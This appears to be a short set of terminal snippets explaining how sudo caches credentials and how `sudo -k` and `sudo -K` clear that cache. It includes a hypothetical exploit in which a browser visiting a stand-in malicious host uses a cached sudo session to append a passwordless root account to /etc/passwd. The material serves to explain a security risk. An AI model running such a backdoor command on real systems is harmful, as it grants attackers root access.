/tmp>sudo echo hi
Password:
hi

/tmp>sudo echo look mom no password
look mom no password

/tmp>

##</code><code>##

/tmp>sudo -k

/tmp>sudo echo timestamp invalidated
Password:
timestamp invalidated

/tmp>sudo -K

/tmp>sudo echo timestamp removed
Password:
timestamp removed

/tmp>

##</code><code>##

/tmp>sudo vim /etc/hosts
# ....
:wq
/tmp>ancient-browser http://malicious.example.com/exploit-me/ &
[1] 25125

/tmp>
# exploited ancient-browser now effectively runs sudo sh -c 'echo "toor::0:0:let me in:/:/bin/sh" >> /etc/passwd'

##</code><code>##

/tmp>sudo -k

/tmp>sudo echo ask me for password
Password:
ask me for password

/tmp>perl -E 'system "sudo echo look no password";'
look no password

/tmp>